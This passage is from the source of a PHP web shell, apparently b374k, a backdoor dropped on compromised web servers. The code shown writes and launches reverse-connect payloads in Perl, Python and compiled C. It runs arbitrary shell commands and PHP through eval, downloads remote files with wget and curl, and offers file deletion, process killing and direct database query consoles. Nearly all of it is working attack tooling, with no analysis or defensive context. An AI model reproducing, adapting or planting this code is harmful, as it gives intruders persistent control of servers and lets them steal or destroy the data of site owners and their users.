  150. if($file=fopen($fpath,"w")){
  151. fwrite($file,$fc);
  152. fclose($file);
  153. if(is_file($fpath)){
  154. $res = exe("\"".$fpath."\" ".$target);
  155. }
  156. else $result = $errperm;
  157. }
  158. else $result = $errperm;
  159. }
  160.  
  161. }
  162. elseif($type == "xback_pl"){
  163. $fname = "b374k_back.pl";
  164. $fpath = $d.$fname;
  165. $tar = explode(" ",$target,2);
  166. if(is_file($fpath)) unlink($fpath);
  167. if($file=fopen($fpath,"w")){
  168. fwrite($file,$fc);
  169. fclose($file);
  170. if(is_file($fpath)){
  171. $res = exe("chmod +x ".$fpath);
  172. $res = exe("perl ".$fpath." ".$target);
  173. }
  174. else $result = $errperm;
  175. }
  176. else $result = $errperm;
  177. }
  178. elseif($type == "xback_py"){
  179. $fname = "b374k_back.py";
  180. $fpath = $d.$fname;
  181. $tar = explode(" ",$target,2);
  182. if(is_file($fpath)) unlink($fpath);
  183. if($file=fopen($fpath,"w")){
  184. fwrite($file,$fc);
  185. fclose($file);
  186. if(is_file($fpath)){
  187. $res = exe("chmod +x ".$fpath);
  188. $res = exe("python ".$fpath." ".$target);
  189. }
  190. else $result = $errperm;
  191. }
  192. else $result = $errperm;
  193.  
  194. }
  195. elseif($type == "xback_bin"){
  196. $fname = "b374k_back";
  197. $fpath = $d.$fname;
  198. $tar = explode(" ",$target,2);
  199.  
  200. if(!$s_win){
  201. if(is_file($fpath)) unlink($fpath);
  202. if(is_file($fpath.".c")) unlink($fpath.".c");
  203. if($file=fopen($fpath.".c","w")){
  204. fwrite($file,$fc);
  205. fclose($file);
  206. if(is_file($fpath.".c")){
  207. $res = exe("gcc ".$fpath.".c -o ".$fpath);
  208. if(is_file($fpath)){
  209. $res = exe("chmod +x ".$fpath);
  210. $res = exe($fpath." ".$target);
  211. }
  212. else $result = $errgcc;
  213. }
  214. else $result = $errperm;
  215. }
  216. else $result = $errperm;
  217. }
  218. else{
  219. $fpath = $fpath . ".exe";
  220. if(is_file($fpath)) unlink($fpath);
  221. if($file=fopen($fpath,"w")){
  222. fwrite($file,$fc);
  223. fclose($file);
  224. if(is_file($fpath)){
  225. $res = exe($fpath." ".$target);
  226. }
  227. else $result = $errperm;
  228. }
  229. else $result = $errperm;
  230. }
  231. }
  232.  
  233. return $result;
  234. }
  235. // get file size
  236. function gs($f){
  237. if($s = filesize($f)){
  238. if($s <= 1024) return $s;
  239. else{
  240. if($s <= 1024*1024) {
  241. $s = round($s / 1024,2);;
  242. return $s." kb";
  243. }
  244. else {
  245. $s = round($s / 1024 / 1024,2);
  246. return $s." mb";
  247. }
  248. }
  249. }
  250. else return "???";
  251. }
  252. // get file permissions
  253. function gp($f){
  254. if($m=fileperms($f)){
  255. $p='';
  256. $p .= ($m & 00400) ? 'r' : '-';
  257. $p .= ($m & 00200) ? 'w' : '-';
  258. $p .= ($m & 00100) ? 'x' : '-';
  259. $p .= ($m & 00040) ? 'r' : '-';
  260. $p .= ($m & 00020) ? 'w' : '-';
  261. $p .= ($m & 00010) ? 'x' : '-';
  262. $p .= ($m & 00004) ? 'r' : '-';
  263. $p .= ($m & 00002) ? 'w' : '-';
  264. $p .= ($m & 00001) ? 'x' : '-';
  265. return $p;
  266. }
  267. else return "??????????";
  268. }
  269. // shell command
  270. function exe($c){
  271. if(function_exists('system')) {
  272. ob_start();
  273. system($c);
  274. $b = ob_get_contents();
  275. ob_end_clean();
  276. return $b;
  277. }
  278. elseif(function_exists('shell_exec')){
  279. $b = shell_exec($c);
  280. return $b;
  281. }
  282. elseif(function_exists('exec')) {
  283. exec($c,$r);
  284. $b = "";
  285. foreach($r as $s){
  286. $b .= $s;
  287. }
  288. return $b;
  289. }
  290. elseif(function_exists('passthru')) {
  291. ob_start();
  292. passthru($c);
  293. $b = ob_get_contents();
  294. ob_end_clean();
  295. return $b;
  296. }
  297. return ""; // failed... oh my
  298. }
  299. // add slash to the end of given path
  300. function cp($p){
  301. if(is_dir($p)){
  302. $x = DIRECTORY_SEPARATOR;
  303. while(substr($p,-1) == $x) $p = rtrim($p,$x);
  304. return $p.$x;
  305. }
  306. return $p;
  307. }
  308. // delete dir and all of its content (no warning !) xp
  309. function rmdirs($d) {
  310. $f = glob($d . '*', GLOB_MARK);
  311. foreach($f as $z){
  312. if(is_dir($z)) rmdirs($z);
  313. else unlink($z);
  314. }
  315. if(is_dir($d)) rmdir($d);
  316. }
  317. function xwhich($pr){
  318. $p = exe("which $pr");
  319. if(trim($p)!="") { return trim($p); } else { return trim($pr); }
  320. }
  321. // download file from internet
  322. function dlfile($u,$p){
  323. $n = basename($u);
  324.  
  325. // try using php functions
  326. if($t = file_get_contents($u)){
  327. if(is_file($p)) unlink($p);;
  328. if($f=fopen($p,"w")){
  329. fwrite($f,$t);
  330. fclose($f);
  331. if(is_file($p)) return true;
  332. }
  333. }
  334.  
  335. // using wget
  336. exe(xwhich('wget')." ".$u." -O ".$p);
  337. if(is_file($p)) return true;
  338.  
  339. // try using lwp-download
  340. exe(xwhich('lwp-download')." ".$u." ".$p);
  341. if(is_file($p)) return true;
  342.  
  343. // try using lynx
  344. exe(xwhich('lynx')." -source ".$u." > ".$p);
  345. if(is_file($p)) return true;
  346.  
  347. // try using curl
  348. exe(xwhich('curl')." ".$u." -o ".$p);
  349. if(is_file($p)) return true;
  350.  
  351. return false;
  352. }
  353. // explorer, return a table of given dir
  354. function showdir($pwd,$prompt,$win){
  355. if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
  356. else $posix = FALSE;
  357.  
  358. $user = "????:????";
  359. $fname = array();
  360. $dname = array();
  361.  
  362. if($dh = scandir($pwd)){
  363. foreach($dh as $file){
  364. if(is_dir($file)) $dname[] = $file;
  365. elseif(is_file($file)) $fname[] = $file;
  366. }
  367. }
  368. else{
  369. if($dh = opendir($pwd)){
  370. while($file = readdir($dh)){
  371. if(is_dir($file)) $dname[] = $file;
  372. elseif(is_file($file))$fname[] = $file;
  373. }
  374. closedir($dh);
  375. }
  376. }
  377.  
  378. sort($fname);
  379. sort($dname);
  380.  
  381. $path = explode(DIRECTORY_SEPARATOR,$pwd);
  382. $tree = sizeof($path);
  383. $parent = "";
  384. $buff = "
  385. <table class=\"explore sortable\">
  386. <tr><th>name</th><th style=\"width:60px;\">size</th><th style=\"width:100px;\">owner : group</th><th style=\"width:70px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:210px;\">actions</th></tr>
  387. ";
  388. if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
  389. else $parent = $pwd;
  390.  
  391. foreach($dname as $folder){
  392. if($folder == ".") {
  393. if(!$win && $posix){
  394. $name = posix_getpwuid(fileowner($folder));
  395. $group = posix_getgrgid(filegroup($folder));
  396. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  397. }
  398. else {
  399. $owner = $user;
  400. }
  401. $buff .= "<tr><td><a href=\"?d=".$pwd."\">[ $folder ]</a></td><td>LINK</td><td style=\"text-align:center;\">".$owner."</td><td style=\"text-align:center;\">".gp($pwd)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",filemtime($pwd))."</td><td><span id=\"titik1\"><a href=\"?d=$pwd&amp;edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a> | <a href=\"?upload&amp;d=$pwd\">upload</a></span>
  402. <form action=\"" . $_SERVER['PHP_SELF'] . "\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  403. <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  404. <input class=\"inputz\" id=\"titik1_\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
  405. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Enter here !\" />
  406. </form></td></tr>
  407. ";
  408. }
  409. elseif($folder == "..") {
  410. if(!$win && $posix){
  411. $name = posix_getpwuid(fileowner($folder));
  412. $group = posix_getgrgid(filegroup($folder));
  413. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  414. }
  415. else {
  416. $owner = $user;
  417. }
  418. $buff .= "<tr><td><a href=\"?d=".$parent."\">[ $folder ]</a></td><td>LINK</td><td style=\"text-align:center;\">".$owner."</td><td style=\"text-align:center;\">".gp($parent)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",filemtime($parent))."</td><td><span id=\"titik2\"><a href=\"?d=$pwd&amp;edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a> | <a href=\"?upload&amp;d=$parent\">upload</a></span>
  419. <form action=\"" . $_SERVER['PHP_SELF'] . "\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  420. <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  421. <input class=\"inputz\" id=\"titik2_\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
  422. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Enter here !\" />
  423. </form>
  424. </td></tr>";
  425. }
  426. else {
  427. if(!$win && $posix){
  428. $name = posix_getpwuid(fileowner($folder));
  429. $group = posix_getgrgid(filegroup($folder));
  430. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  431. }
  432. else {
  433. $owner = $user;
  434. }
  435. $buff .= "<tr><td><a id=\"".cs($folder)."_link\" href=\"?d=".$pwd.$folder.DIRECTORY_SEPARATOR."\">[ $folder ]</a>
  436. <form action=\"" . $_SERVER['PHP_SELF'] . "\" method=\"post\" id=\"".cs($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  437. <input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
  438. <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  439. <input class=\"inputz\" style=\"width:200px;\" id=\"".cs($folder)."_link_\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
  440. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
  441. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".cs($folder)."_form','".cs($folder)."_link');\" />
  442. </form>
  443. <td>DIR</td><td style=\"text-align:center;\">".$owner."</td><td style=\"text-align:center;\">".gp($pwd.$folder)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",filemtime($folder))."</td><td><a href=\"javascript:tukar('".cs($folder)."_link','".cs($folder)."_form');\">rename</a> | <a href=\"?d=".$pwd."&amp;rmdir=".$pwd.$folder."\">delete</a> | <a href=\"?upload&amp;d=".$pwd.$folder."\">upload</a></td></tr>";
  444. }
  445. }
  446.  
  447. foreach($fname as $file){
  448. $full = $pwd.$file;
  449. if(!$win && $posix){
  450. $name = posix_getpwuid(fileowner($full));
  451. $group = posix_getgrgid(filegroup($full));
  452. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  453. }
  454. else {
  455. $owner = $user;
  456. }
  457. $buff .= "<tr><td><a id=\"".cs($file)."_link\" href=\"?d=$pwd&amp;view=$full\">$file</a>
  458. <form action=\"" . $_SERVER['PHP_SELF'] . "\" method=\"post\" id=\"".cs($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  459. <input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
  460. <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  461. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" id=\"".cs($file)."_link_\" name=\"newname\" value=\"".$file."\" />
  462. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
  463. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".cs($file)."_link','".cs($file)."_form');\" />
  464. </form>
  465. </td><td>".gs($full)."</td><td style=\"text-align:center;\">".$owner."</td><td style=\"text-align:center;\">".gp($full)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",filemtime($full))."</td>
  466. <td><a href=\"?d=$pwd&amp;edit=$full\">edit</a> | <a href=\"javascript:tukar('".cs($file)."_link','".cs($file)."_form');\">rename</a> | <a href=\"?d=$pwd&amp;delete=$full\">delete</a> | <a href=\"?d=$pwd&amp;dl=$full\">download</a>&nbsp;(<a href=\"?d=$pwd&amp;dlgzip=$full\">gzip</a>)</td></tr>";
  467. }
  468. $buff .= "</table>";
  469. return $buff;
  470. }
  471.  
  472. // favicon
  473. if(isset($_REQUEST['favicon'])){
  474. $data = gzinflate(base64_decode($favicon));
  475. header("Content-type: image/png");
  476. header("Cache-control: public");
  477. echo $data;
  478. exit;
  479. }
  480. if($s_auth){
  481. // server software
  482. $s_software = getenv("SERVER_SOFTWARE");
  483. // check safemode
  484. if (ini_get("safe_mode") or strtolower(ini_get("safe_mode")) == "on") $s_safemode = TRUE; else $s_safemode = FALSE;
  485. // uname -a
  486. $s_system = php_uname();
  487. // check os
  488. $s_win = FALSE;
  489. if(strtolower(substr($s_system,0,3)) == "win") $s_win = TRUE;
  490. // get path and all drives available
  491. $letters = '';
  492. if(!$s_win){
  493. if(!$s_user = rp(exe("whoami"))) $s_user = "";
  494. if(!$s_id = rp(exe("id"))) $s_id = "";
  495. $pwd = getcwd().DIRECTORY_SEPARATOR;
  496. }
  497. else {
  498. $s_user = get_current_user();
  499. $s_id = $s_user;
  500. $pwd = realpath(".")."\\";
  501. // find drive letters
  502. $v = explode("\\",$d);
  503. $v = $v[0];
  504. foreach (range("A","Z") as $letter){
  505. $bool = @is_dir($letter.":\\");
  506. if ($bool){
  507. $letters .= "<a href=\"?d=".$letter.":\\\">[ ";
  508. if ($letter.":" != $v) {$letters .= $letter;}
  509. else {$letters .= "<span class=\"gaya\">".$letter."</span>";}
  510. $letters .= " ]</a> ";
  511. }
  512. }
  513. }
  514. // prompt style..
  515. $s_prompt = $s_user." &gt;";
  516.  
  517. // check for posix
  518. if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $s_posix = TRUE;
  519. else $s_posix = FALSE;
  520.  
  521. // server ip
  522. $s_server_ip = gethostbyname($_SERVER["HTTP_HOST"]);
  523. // your ip ;-)
  524. $s_my_ip = $_SERVER['REMOTE_ADDR'];
  525.  
  526. // change working directory
  527. if(isset($_REQUEST['d'])){
  528. $d = ss($_REQUEST['d']);
  529. if(is_dir($d)){
  530. chdir($d);
  531. $pwd = cp($d);
  532. }
  533. }
  534. else $pwd = cp(getcwd());
  535. // sorttable.js
  536. if(isset($_REQUEST['sorttable'])){
  537. $data = gzinflate(base64_decode($sortable_js));
  538. header("Content-type: text/plain");
  539. header("Cache-control: public");
  540. echo $data;
  541. exit;
  542. }
  543. // download file specified by ?dl=<file>
  544. if(isset($_REQUEST['dl']) && ($_REQUEST['dl'] != "")){
  545. $f = ss($_REQUEST['dl']);
  546. $fc = file_get_contents($f);
  547. header("Content-type: application/octet-stream");
  548. header("Content-length: ".strlen($fc));
  549. header("Content-disposition: attachment; filename=\"".basename($f)."\";");
  550. echo $fc;
  551. exit;
  552. } // download file specified by ?dlgzip=<file> as gzip
  553. elseif(isset($_REQUEST['dlgzip']) && ($_REQUEST['dlgzip'] != "")){
  554. $f = ss($_REQUEST['dlgzip']);
  555. $fc = gzencode(file_get_contents($f));
  556. header("Content-Type:application/x-gzip\n");
  557. header("Content-length: ".strlen($fc));
  558. header("Content-disposition: attachment; filename=\"".basename($f).".gz\";");
  559. echo $fc;
  560. exit;
  561. }
  562. // kill process specified by pid
  563. if(isset($_REQUEST['pid'])){
  564. $p = ss($_REQUEST['pid']);
  565. if(function_exists("posix_kill")) posix_kill($p,'9');
  566. else{
  567. exe("kill -9 ".$p);
  568. exe("taskkill /F /PID ".$p);
  569. }
  570. }
  571. // view image specified by ?img=<file>
  572. if(isset($_REQUEST['img'])){
  573. ob_clean();
  574. $d = ss($_REQUEST['d']);
  575. $f = ss($_REQUEST['img']);
  576. $inf = getimagesize($d.$f);
  577. $ext = explode($f,".");
  578. $ext = $ext[count($ext)-1];
  579. header("Content-type: ".$inf["mime"]);
  580. header("Cache-control: public");
  581. header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  582. header("Cache-control: max-age=".(60*60*24*7));
  583. readfile($d.$f);
  584. exit;
  585. }
  586. // rename file or folder
  587. if(isset($_REQUEST['rename']) && isset($_REQUEST['oldname']) && isset($_REQUEST['newname'])){
  588. $old = ss($_REQUEST['oldname']);
  589. $new = ss($_REQUEST['newname']);
  590. rename($pwd.$old,$pwd.$new);
  591. $fnew = $pwd.$new;
  592. }
  593. // delete file
  594. if(isset($_REQUEST['delete']) && ($_REQUEST['delete'] != "")){
  595. $f = ss($_REQUEST['delete']);
  596. if(is_file($f)) unlink($f);
  597. } // delete dir
  598. elseif(isset($_REQUEST['rmdir']) && ($_REQUEST['rmdir'] != "")){
  599. $f = ss(rtrim(ss($_REQUEST['rmdir'],DIRECTORY_SEPARATOR)));
  600. if(is_dir($f)) rmdirs($f);
  601. } // create dir
  602. elseif(isset($_REQUEST['mkdir']) && ($_REQUEST['mkdir'] != "")){
  603. $f = ss($pwd.ss($_REQUEST['mkdir']));
  604. if(!is_dir($f)) mkdir($f);
  605. }
  606. // box result
  607. $s_result = "";
  608. // php eval() function
  609. if(isset($_REQUEST['eval'])){
  610. $c = "";
  611. if(isset($_REQUEST['evalcode'])){
  612. // show error
  613. $eval_addition = "error_reporting(E_ALL);@ini_set(\"display_errors\", 1);";
  614. $c = ss($_REQUEST['evalcode']);
  615. ob_start();
  616. eval(eval($eval_addition) . eval($c));
  617. $b = ob_get_contents();
  618. ob_end_clean();
  619. $code = $b;
  620. }
  621. $s_result .= " <form action=\"" . $_SERVER['PHP_SELF'] . "\" method=\"post\">
  622. <textarea id=\"evalcode\" name=\"evalcode\" class=\"evalcode\">".htmlspecialchars($code)."</textarea>
  623. <p><input type=\"submit\" name=\"evalcodesubmit\" class=\"inputzbut\" value=\"Enter here !\" style=\"width:120px;height:30px;\" /></p>
  624. <input type=\"hidden\" name=\"eval\" value=\"\" />
  625. <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  626. </form>
  627. ";
  628. } // upload !
  629. elseif(isset($_REQUEST['upload'])){
  630. $s_result = " ";
  631. $msg = "";
  632. if(isset($_REQUEST['uploadhd'])){
  633. $fn = $_FILES['filepath']['name'];
  634. if(is_uploaded_file($_FILES['filepath']['tmp_name'])){
  635. $p = cp(ss($_REQUEST['savefolder']));
  636. if(!is_dir($p)) $p = cp(dirname($p));
  637. if(isset($_REQUEST['savefilename']) && (trim($_REQUEST['savefilename'])!="")) $fn = ss($_REQUEST['savefilename']);
  638. $tm = $_FILES['filepath']['tmp_name'];
  639. $pi = cp($p).$fn;
  640. $st = move_uploaded_file($tm,$pi);
  641. if($st) $msg = "<p class=\"rs_result\">file uploaded to <a href=\"?d=".$pwd."&amp;view=".$pi."\">".$pi."</a></p>";
  642. else $msg = "<p class=\"rs_result\">failed to upload ".$fn."</p>";
  643. }
  644. else $msg = "<p class=\"rs_result\">failed to upload ".$fn."</p>";
  645. }
  646. elseif(isset($_REQUEST['uploadurl'])){
  647. // function dlfile($url,$fpath){
  648. $p = cp(ss($_REQUEST['savefolderurl']));
  649. if(!is_dir($p)) $p = cp(dirname($p));
  650. $fu = ss($_REQUEST['fileurl']);
  651. $fn = basename($fu);
  652. if(isset($_REQUEST['savefilenameurl']) && (trim($_REQUEST['savefilenameurl'])!="")) $fn = ss($_REQUEST['savefilenameurl']);
  653. $fp = cp($p).$fn;
  654. $st = dlfile($fu,$fp);
  655. if($st) $msg = "<p class=\"rs_result\">file uploaded to <a href=\"?d=".$pwd."&amp;view=".$fp."\">".$fp."</a></p>";
  656. else $msg = "<p class=\"rs_result\">failed to upload ".$fn."</p>";
  657. }
  658.  
  659. $s_result .= $msg;
  660. $s_result .= "
  661. <form action=\"" . $_SERVER['PHP_SELF'] . "?upload\" method=\"post\" enctype=\"multipart/form-data\">
  662. <div class=\"mybox\"><h2>Upload from computer</h2>
  663. <table class=\"myboxtbl\">
  664. <tr><td style=\"width:100px;\">File</td><td><input type=\"file\" name=\"filepath\" class=\"inputzbut\" style=\"width:400px;margin:0;\" />
  665. </td></tr>
  666. <tr><td>Save to</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"savefolder\" value=\"".$pwd."\" /></td></tr>
  667. <tr><td>Filename (optional)</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"savefilename\" value=\"\" /></td></tr>
  668. <tr><td>&nbsp;</td><td>
  669. <input type=\"submit\" name=\"uploadhd\" class=\"inputzbut\" value=\"Upload !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  670. </td></tr>
  671.  
  672. <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  673. </table>
  674. </div>
  675. </form>
  676.  
  677. <form action=\"" . $_SERVER['PHP_SELF'] . "?upload\" method=\"post\">
  678. <div class=\"mybox\"><h2>Upload from internet</h2>
  679. <table class=\"myboxtbl\">
  680. <tr><td style=\"width:100px;\">File URL</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"fileurl\" value=\"\" />
  681. </td></tr>
  682. <tr><td>Save to</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"savefolderurl\" value=\"".$pwd."\" /></td></tr>
  683. <tr><td>Filename (optional)</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"savefilenameurl\" value=\"\" /></td></tr>
  684. <tr><td>&nbsp;</td><td>
  685. <input type=\"submit\" name=\"uploadurl\" class=\"inputzbut\" value=\"Upload !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  686. </td></tr>
  687.  
  688. <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  689. </table>
  690. </div>
  691. </form>
  692.  
  693. ";
  694. } // show phpinfo()
  695. elseif(isset($_REQUEST['phpinfo'])){
  696. ob_start();
  697. eval("phpinfo();");
  698. $b = ob_get_contents();
  699. ob_end_clean();
  700. $a = strpos($b,"<body>")+6; // yeah baby,, your body is wonderland ;-)
  701. $z = strpos($b,"</body>");
  702. $s_result = "<div class=\"phpinfo\">".substr($b,$a,$z-$a)."</div>";
  703. } // working with database
  704. elseif(isset($_REQUEST['db'])){
  705. $sqlhost = $sqlhost1 = $sqlhost2 = $sqlhost3 = $sqlhost4 = 'localhost';
  706. $sqluser = $sqluser1 = $sqluser2 = $sqluser3 = $sqluser4 = $odbcuser = $odbcdsn = $pdodsn = $pdouser = '';
  707. $sqlport = $sqlport1 = $sqlport2 = $sqlport3 = $sqlport4 = '';
  708. $sqlpass = $sqlpass1 = $sqlpass2 = $sqlpass3 = $sqlpass4 = $odbcpass = $pdopass = '';
  709.  
  710. if(isset($_REQUEST['mysqlcon'])&&isset($_REQUEST['sqlhost1'])) $sqlhost = $sqlhost1 = ss($_REQUEST['sqlhost1']);
  711. if(isset($_REQUEST['mssqlcon'])&&isset($_REQUEST['sqlhost2'])) $sqlhost = $sqlhost2 = ss($_REQUEST['sqlhost2']);
  712. if(isset($_REQUEST['pgsqlcon'])&&isset($_REQUEST['sqlhost3'])) $sqlhost = $sqlhost3 = ss($_REQUEST['sqlhost3']);
  713. if(isset($_REQUEST['oraclecon'])&&isset($_REQUEST['sqlhost4'])) $sqlhost = $sqlhost4 = ss($_REQUEST['sqlhost4']);
  714. if(isset($_REQUEST['odbccon'])&&isset($_REQUEST['odbcdsn'])) $odbcdsn = ss($_REQUEST['odbcdsn']);
  715. if(isset($_REQUEST['pdocon'])&&isset($_REQUEST['pdodsn'])) $pdodsn = ss($_REQUEST['pdodsn']);
  716. if(isset($_REQUEST['sqlhost'])) $sqlhost = ss($_REQUEST['sqlhost']);
  717.  
  718. if(isset($_REQUEST['mysqlcon'])&&isset($_REQUEST['sqluser1'])) $sqluser = $sqluser1 = ss($_REQUEST['sqluser1']);
  719. if(isset($_REQUEST['mssqlcon'])&&isset($_REQUEST['sqluser2'])) $sqluser = $sqluser2 = ss($_REQUEST['sqluser2']);
  720. if(isset($_REQUEST['pgsqlcon'])&&isset($_REQUEST['sqluser3'])) $sqluser = $sqluser3 = ss($_REQUEST['sqluser3']);
  721. if(isset($_REQUEST['oraclecon'])&&isset($_REQUEST['sqluser4'])) $sqluser = $sqluser4 = ss($_REQUEST['sqluser4']);
  722. if(isset($_REQUEST['odbccon'])&&isset($_REQUEST['odbcuser'])) $odbcuser = ss($_REQUEST['odbcuser']);
  723. if(isset($_REQUEST['pdocon'])&&isset($_REQUEST['pdouser'])) $pdouser = ss($_REQUEST['pdouser']);
  724. if(isset($_REQUEST['sqluser'])) $sqluser = ss($_REQUEST['sqluser']);
  725.  
  726. if(isset($_REQUEST['mysqlcon'])&&isset($_REQUEST['sqlport1'])) $sqlport = $sqlport1 = ss($_REQUEST['sqlport1']);
  727. if(isset($_REQUEST['mssqlcon'])&&isset($_REQUEST['sqlport2'])) $sqlport = $sqlport2 = ss($_REQUEST['sqlport2']);
  728. if(isset($_REQUEST['pgsqlcon'])&&isset($_REQUEST['sqlport3'])) $sqlport = $sqlport3 = ss($_REQUEST['sqlport3']);
  729. if(isset($_REQUEST['oraclecon'])&&isset($_REQUEST['sqlport4'])) $sqlport = $sqlport4 = ss($_REQUEST['sqlport4']);
  730. if(isset($_REQUEST['sqlport'])) $sqlport = ss($_REQUEST['sqlport']);
  731.  
  732. if(isset($_REQUEST['mysqlcon'])&&isset($_REQUEST['sqlpass1'])) $sqlpass = $sqlpass1 = ss($_REQUEST['sqlpass1']);
  733. if(isset($_REQUEST['mssqlcon'])&&isset($_REQUEST['sqlpass2'])) $sqlpass = $sqlpass2 = ss($_REQUEST['sqlpass2']);
  734. if(isset($_REQUEST['pgsqlcon'])&&isset($_REQUEST['sqlpass3'])) $sqlpass = $sqlpass3 = ss($_REQUEST['sqlpass3']);
  735. if(isset($_REQUEST['oraclecon'])&&isset($_REQUEST['sqlpass4'])) $sqlpass = $sqlpass4 = ss($_REQUEST['sqlpass4']);
  736. if(isset($_REQUEST['odbccon'])&&isset($_REQUEST['odbcpass'])) $odbcpass = ss($_REQUEST['odbcpass']);
  737. if(isset($_REQUEST['pdocon'])&&isset($_REQUEST['pdopass'])) $pdopass = ss($_REQUEST['pdopass']);
  738. if(isset($_REQUEST['sqlpass'])&&isset($_REQUEST['sqlpass'])) $sqlpass = ss($_REQUEST['sqlpass']);
  739.  
  740. $sqls = "";
  741. $q_result = "";
  742. $hostandport = $sqlhost;
  743. if(trim($sqlport)!="") $hostandport = $sqlhost.":".$sqlport;
  744.  
  745. if(isset($_REQUEST['mysqlcon']) && ($con = mysql_connect($hostandport,$sqluser,$sqlpass))){
  746. if(isset($_REQUEST['sqlcode'])){
  747. $sqls = ss($_REQUEST['sqlcode']);
  748. $querys = explode(";",$sqls);
  749.  
  750. foreach($querys as $query){
  751. if(trim($query) != ""){
  752. $hasil = mysql_query($query);
  753. if($hasil){
  754. $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
  755. <span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>
  756. <table class=\"explore\" style=\"width:99%;\"><tr>";
  757. for($i=0;$i<mysql_num_fields($hasil);$i++)
  758. $q_result .= "<th>".htmlspecialchars(mysql_field_name($hasil,$i))."</th>";
  759. $q_result .= "</tr>";
  760. while($rows=mysql_fetch_array($hasil)){
  761. $q_result .= "<tr>";
  762. for($j=0;$j<mysql_num_fields($hasil);$j++)
  763. {
  764. if($rows[$j] == "") $dataz = " ";
  765. else $dataz = $rows[$j];
  766. $q_result .= "<td>".htmlspecialchars($dataz)."</td>";
  767. }
  768. $q_result .= "</tr>";
  769. }
  770. $q_result .= "</table>";
  771. }
  772. else $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
  773. <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>";
  774. }
  775. }
  776. }
  777. else $sqls = "SHOW databases;";
  778.  
  779. $s_result .= " <form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\">
  780. <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
  781. <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
  782. <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
  783. <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
  784. <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  785. <textarea id=\"sqlcode\" name=\"sqlcode\" class=\"evalcode\" style=\"height:10em;\">".$sqls."</textarea>
  786. <p><input type=\"submit\" name=\"mysqlcon\" class=\"inputzbut\" value=\"Enter here !\" style=\"width:120px;height:30px;\" />
  787. &nbsp;&nbsp;Separate multiple commands with a semicolon <span class=\"gaya\">[</span> ; <span class=\"gaya\">]</span></p>
  788. </form>";
  789. $s_result .= "<div>".$q_result."</div>";
  790. if($con) mysql_close($con);
  791. }
  792. elseif(isset($_REQUEST['mssqlcon']) && ($con = mssql_connect($hostandport,$sqluser,$sqlpass))){
  793. if(isset($_REQUEST['sqlcode'])){
  794. $sqls = ss($_REQUEST['sqlcode']);
  795. $querys = explode(";",$sqls);
  796.  
  797. foreach($querys as $query){
  798. if(trim($query) != ""){
  799. $hasil = mssql_query($query);
  800. if($hasil){
  801. $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
  802. <span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>
